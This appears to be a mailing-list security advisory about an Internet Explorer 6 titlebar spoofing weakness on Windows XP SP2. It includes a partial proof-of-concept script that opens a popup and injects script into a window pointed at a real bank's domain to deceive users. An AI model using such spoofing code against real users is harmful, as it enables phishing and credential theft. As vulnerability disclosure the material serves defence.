Hi LIST.

Windows XP SP2 forces the titlebar to be present in script-initiated 
Internet Explorer windows.
In the titlebar, domain name is listed before the page title.

Using magic DNS,this domain name can be exploited by malicious people to 
trick users into visiting a malicious popup window.
The weakness has been confirmed in version 6.0 on a fully patched system 
running Windows XP with SP2 installed.

Example:
- -----8<----- -----8<----- -----8<----- -----8<-----

  sP += 'menubar=0,resizable=0,width=315,';
  sP += 'height=200,left = 250,top = 200'
  day = new Date();
  id = day.getTime();
  eval("page" + id + " = window.open(pURL, '" + id + "',sP);");
}

function main()
{
  targetURL = 'http://citibank.com/us/index.htm';
  x.DOM.Script.execScript(shellscript.toString());
  x.DOM.Script.setTimeout("shellscript()");
  location.replace(targetURL);
}

setTimeout(' main() ',1000);

// End -->
